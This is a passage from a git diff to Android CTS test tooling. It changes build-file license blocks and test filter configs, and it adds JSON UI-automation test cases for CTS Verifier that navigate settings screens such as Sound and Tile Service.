 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library_host {
     name: "cts-tradefed-harness",
 
diff --git a/tools/cts-tradefed/res/config/cts-on-csi-no-apks.xml b/tools/cts-tradefed/res/config/cts-on-csi-no-apks.xml
index b10f519..a99c656 100644
--- a/tools/cts-tradefed/res/config/cts-on-csi-no-apks.xml
+++ b/tools/cts-tradefed/res/config/cts-on-csi-no-apks.xml
@@ -150,6 +150,7 @@
     <option name="compatibility:exclude-filter" value="CtsSettingsHostTestCases" />
     <option name="compatibility:exclude-filter" value="CtsRoleTestCases android.app.role.cts.RoleControllerManagerTest#settingsIsNotVisibleForHomeRole" />
     <option name="compatibility:exclude-filter" value="CtsRoleTestCases android.app.role.cts.RoleManagerTest#openDefaultAppListThenIsNotDefaultAppInList" />
+    <option name="compatibility:exclude-filter" value="CtsSystemIntentTestCases android.systemintents.cts.TestSystemIntents#testSystemIntents" />
 
     <!-- No SettingsIntelligence -->
     <option name="compatibility:exclude-filter" value="CtsContentTestCases android.content.cts.AvailableIntentsTest#testSettingsSearchIntent" />
diff --git a/tools/cts-tradefed/res/config/cts-sim-include.xml b/tools/cts-tradefed/res/config/cts-sim-include.xml
index 1614c18..2b9994f 100644
--- a/tools/cts-tradefed/res/config/cts-sim-include.xml
+++ b/tools/cts-tradefed/res/config/cts-sim-include.xml
@@ -32,6 +32,7 @@
     <option name="compatibility:include-filter" value="CtsSecureElementAccessControlTestCases3" />
     <option name="compatibility:include-filter" value="CtsSimRestrictedApisTestCases" />
     <option name="compatibility:include-filter" value="CtsStatsdHostTestCases" />
+    <option name="compatibility:include-filter" value="CtsStatsdAtomHostTestCases" />
     <option name="compatibility:include-filter" value="CtsTelecomTestCases" />
     <option name="compatibility:include-filter" value="CtsTelecomTestCases2" />
     <option name="compatibility:include-filter" value="CtsTelecomTestCases3" />
diff --git a/tools/cts-tradefed/tests/Android.bp b/tools/cts-tradefed/tests/Android.bp
index 51de025..0d0bcea 100644
--- a/tools/cts-tradefed/tests/Android.bp
+++ b/tools/cts-tradefed/tests/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library_host {
     name: "cts-tradefed-tests",
 
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1.zip b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1.zip
new file mode 100644
index 0000000..e2c98c4
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1.zip
Binary files differ
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/0009ed57-c961-41b7-bcbe-d71e6f0abac1 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/0009ed57-c961-41b7-bcbe-d71e6f0abac1
new file mode 100644
index 0000000..8b9634e
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/0009ed57-c961-41b7-bcbe-d71e6f0abac1
@@ -0,0 +1 @@
+{"uuid":"0009ed57-c961-41b7-bcbe-d71e6f0abac1","details":"{\"type\":\"CompoundAction\",\"name\":\"Launch Sound settings\",\"actionId\":\"0009ed57-c961-41b7-bcbe-d71e6f0abac1\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"shareWith\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Sound setting\",\"actionId\":\"23a1e68d-3903-428f-aae6-57d4553984ef\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Sound & vibration\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"17f79eaf-9011-48dd-86c1-d497531ac24b\",\"displayText\":\"Sound\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"37a02b37-a215-40c6-b025-c062e1d512de\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"69cb8198-d26e-441c-9172-b0612c357b94\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"android:id/icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.666666666666666,\"y1\":617.6666666666666,\"x2\":47.666666666666664,\"y2\":650.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/icon_frame\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.666666666666666,\"y1\":614.0,\"x2\":66.0,\"y2\":654.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"\"},{\"uuid\":\"1d91e44d-dfb7-4a30-b541-290c40a54ec6\",\"displayText\":\"Sound\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"597f30ac-8029-4c73-a015-af8425ea68cd\",\"displayText\":\"Sound\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Sound\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":615.6666666666666,\"x2\":108.33333333333333,\"y2\":635.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-3.333333333333343,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Sound\"},{\"uuid\":\"5748d25e-63cc-41ec-b416-d27ba6bb73f0\",\"displayText\":\"Volume, vibration, Do Not Disturb\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"Volume, vibration, Do Not Disturb\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":635.3333333333334,\"x2\":257.3333333333333,\"y2\":653.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Volume, vibration, Do Not Disturb\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":601.0,\"x2\":345.3333333333333,\"y2\":667.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Sound\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":601.0,\"x2\":360.0,\"y2\":667.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":90.5,\"y\":625.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":89.5,\"y\":8.833333333333258,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"597f30ac-8029-4c73-a015-af8425ea68cd\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Sound & vibration\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":55.0,\"y1\":612.0,\"x2\":126.0,\"y2\":639.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Sound\",\"actionId\":\"dcb0c971-2bbe-48e8-9d8d-95abbf657d88\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT\",\"selector\":\"Sound\"}],\"childrenIdList\":[\"9be89845-047e-4ef4-98dc-caa8cd186c76\",\"23a1e68d-3903-428f-aae6-57d4553984ef\",\"dcb0c971-2bbe-48e8-9d8d-95abbf657d88\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Launch Sound settings","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325438.997000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/008221ef-2f19-4071-9311-cfbe47857bb3 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/008221ef-2f19-4071-9311-cfbe47857bb3
new file mode 100644
index 0000000..81789e5
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/008221ef-2f19-4071-9311-cfbe47857bb3
@@ -0,0 +1 @@
+{"uuid":"008221ef-2f19-4071-9311-cfbe47857bb3","details":"{\"type\":\"CompoundAction\",\"name\":\"If \\\"Control bubbles anytime\\\" tips appear, dismiss it\",\"actionId\":\"008221ef-2f19-4071-9311-cfbe47857bb3\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ConditionValidationAction\",\"name\":\"if \\\"Control bubbles anytime\\\" tip pop up, dismiss it\",\"actionId\":\"5990818c-536e-44f7-bd44-2e99e83c975d\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Control bubbles anytime\"}]},\"clickAfterValidation\":false},{\"type\":\"ConditionValidationAction\",\"name\":\"Click bubble again\",\"actionId\":\"c7a1caf4-82de-48c1-9162-fe0a21689e4e\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.android.systemui:id/bubble_view\"}]},\"clickAfterValidation\":true}],\"childrenIdList\":[\"5990818c-536e-44f7-bd44-2e99e83c975d\",\"c7a1caf4-82de-48c1-9162-fe0a21689e4e\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"If \"Control bubbles anytime\" tips appear, dismiss it","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.227000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/015882d1-9ce9-4b67-a7e3-925ee0798fe4 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/015882d1-9ce9-4b67-a7e3-925ee0798fe4
new file mode 100644
index 0000000..6236b31
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/015882d1-9ce9-4b67-a7e3-925ee0798fe4
@@ -0,0 +1 @@
+{"uuid":"015882d1-9ce9-4b67-a7e3-925ee0798fe4","details":"{\"type\":\"CompoundAction\",\"name\":\"01_Profile owner installed\",\"actionId\":\"015882d1-9ce9-4b67-a7e3-925ee0798fe4\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to BYOD Managed Provisioning\",\"actionId\":\"ac254dfd-734d-4c82-ac60-4ec0ee152d8f\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"BYOD Managed Provisioning\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"0e6fc5f7-86a4-4302-b0c0-a08206bead33\",\"displayText\":\"BYOD Managed Provisioning\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"BYOD Managed Provisioning\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":8.666666666666666,\"y1\":228.66666666666666,\"x2\":351.3333333333333,\"y2\":270.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":120.5,\"y\":251.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":59.5,\"y\":-1.3333333333333144,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"0e6fc5f7-86a4-4302-b0c0-a08206bead33\",\"firstText\":\"BYOD Managed Provisioning\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"BYOD Managed Provisioning\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":8.0,\"y1\":237.0,\"x2\":233.0,\"y2\":265.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, BYOD Managed Provisioning\",\"actionId\":\"20bd4c5a-d33c-4821-8165-ca5fbda39250\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"BYOD Managed Provisioning\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/prepare_test_button\",\"actionId\":\"9d1266ac-77ec-4c5e-82df-784a40c2eef5\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/prepare_test_button\"},{\"type\":\"ConditionValidationAction\",\"name\":\"Click Delete if needed\",\"actionId\":\"c88d87ec-dd69-4176-ae52-49b181e93f78\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"delayAfterActionMs\":3000,\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"android:id/button1\"}]},\"clickAfterValidation\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, Accept & continue\",\"actionId\":\"5ddac9cf-cdf4-45b6-a910-f496e3cc32ce\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Accept & continue\"},{\"type\":\"WaitAction\",\"name\":\"WAIT for 20 secs\",\"actionId\":\"aef30264-e1ea-44cd-a73e-cffe95a1a1b5\",\"actionType\":\"WAIT_ACTION\",\"actionDescription\":\"Setting up...\",\"delayAfterActionMs\":20000,\"createdBy\":\"pololee\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Next\",\"actionId\":\"f7c6ebab-6a5d-4ed2-b320-36f702e83770\",\"actionType\":\"CLICK_ACTION\",\"delayAfterActionMs\":3000,\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Next\"}],\"childrenIdList\":[\"e85d4353-bdbe-4671-9f3f-b94ec6b06b0e\",\"b531da69-1e61-4e75-a6b1-7e005df80c7b\",\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"ac254dfd-734d-4c82-ac60-4ec0ee152d8f\",\"20bd4c5a-d33c-4821-8165-ca5fbda39250\",\"1601f323-e824-4190-9ee0-350f0a1149ea\",\"9d1266ac-77ec-4c5e-82df-784a40c2eef5\",\"c88d87ec-dd69-4176-ae52-49b181e93f78\",\"5ddac9cf-cdf4-45b6-a910-f496e3cc32ce\",\"aef30264-e1ea-44cd-a73e-cffe95a1a1b5\",\"f7c6ebab-6a5d-4ed2-b320-36f702e83770\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"01_Profile owner installed","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.291000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/020685b0-8828-4ca8-be07-4146718f24fe b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/020685b0-8828-4ca8-be07-4146718f24fe
new file mode 100644
index 0000000..23104ea
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/020685b0-8828-4ca8-be07-4146718f24fe
@@ -0,0 +1 @@
+{"uuid":"020685b0-8828-4ca8-be07-4146718f24fe","details":"{\"type\":\"CompoundAction\",\"name\":\"test_Tile Service Test\",\"actionId\":\"020685b0-8828-4ca8-be07-4146718f24fe\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Tile Service Test\",\"actionId\":\"f8b7e95e-c11d-46af-84b4-a99b0955c448\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Tile Service Test\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"94ab95c2-dc2a-407a-8367-b0440571f967\",\"displayText\":\"Tile Service Test\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Tile Service Test\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":8.666666666666666,\"y1\":687.3333333333334,\"x2\":351.3333333333333,\"y2\":729.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":76.5,\"y\":708.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":103.5,\"y\":-0.16666666666662877,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"94ab95c2-dc2a-407a-8367-b0440571f967\",\"firstText\":\"Tile Service Test\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Tile Service Test\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":142.0,\"y1\":716.0,\"x2\":11.0,\"y2\":701.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Tile Service Test\",\"actionId\":\"c89a02dd-73f1-4813-b048-05ac8374e670\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Tile Service Test\"},{\"type\":\"WaitAction\",\"name\":\"WAIT for 10 secs\",\"actionId\":\"f852c3fc-ca3a-4f55-8dcc-0b6e9f8e47c7\",\"actionType\":\"WAIT_ACTION\",\"actionDescription\":\"Wait for Tile Service enabled\",\"delayAfterActionMs\":10000,\"createdBy\":\"pololee\"},{\"type\":\"ConditionValidationAction\",\"name\":\"Click Pass after checking Tile Service for CTS Verifier is not visible in any page\",\"actionId\":\"c65cebf0-7eb0-4bf0-926a-8333469498ca\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.android.cts.verifier:id/tiles_action_pass\"},{\"field\":\"enabled\",\"operator\":\"=\",\"value\":\"true\"}]},\"clickAfterValidation\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/edit\",\"actionId\":\"3deb30a8-0785-40ed-8151-51e63682e3fc\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"android:id/edit\"},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Tile Service for CTS Verifier\",\"actionId\":\"3a461072-f9ea-49d9-b44a-490b7ce21493\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Tile Service for CTS Verifier\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"344adff8-1d24-4108-aea4-9d78b6aff2cc\",\"displayText\":\"Tile Service for CTS Verifier\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"35a7fb70-4fc5-45af-ae47-af78205cdd7c\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"e4afaa44-b3ed-4b9e-9435-cee15e46a927\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"02e19e6d-3d0a-4d30-8a82-28de1d4f4b41\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"android:id/icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":158.66666666666666,\"y1\":620.3333333333334,\"x2\":200.66666666666666,\"y2\":641.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"}],\"className\":\"android.view.ViewGroup\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":158.66666666666666,\"y1\":620.3333333333334,\"x2\":200.66666666666666,\"y2\":641.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"},{\"uuid\":\"ff7efc0b-0578-43a4-a6cb-96b5f92a5f1a\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":160.33333333333334,\"y1\":611.6666666666666,\"x2\":199.0,\"y2\":650.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"}],\"className\":\"android.widget.FrameLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":158.66666666666666,\"y1\":610.0,\"x2\":200.66666666666666,\"y2\":652.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"},{\"uuid\":\"ef1f1cc4-08e2-45e6-9290-72d53dcd6452\",\"displayText\":\"Tile Service for CTS Verifier\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"d5d9a4ce-eb72-4a9d-9f5f-2330a29fad6e\",\"displayText\":\"Tile Service for CTS Verifier\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"83b3d4f6-f233-494f-9c22-75c225d149ce\",\"displayText\":\"Tile Service for CTS Verifier\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.systemui:id/tile_label\",\"text\":\"Tile Service for CTS Verifier\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":126.33333333333333,\"y1\":662.6666666666666,\"x2\":233.33333333333334,\"y2\":677.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-1.6666666666666572,\"y\":-0.16666666666674246,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Tile Service for CTS Verifier\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.systemui:id/label_group\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":126.33333333333333,\"y1\":662.6666666666666,\"x2\":233.33333333333334,\"y2\":677.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Tile Service for CTS Verifier\"},{\"uuid\":\"6cf7d156-e6c8-4f42-93f3-637c3c2a0d31\",\"displayText\":\"CTS Verifier\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.systemui:id/app_label\",\"text\":\"CTS Verifier\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":126.33333333333333,\"y1\":677.0,\"x2\":233.33333333333334,\"y2\":691.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"CTS 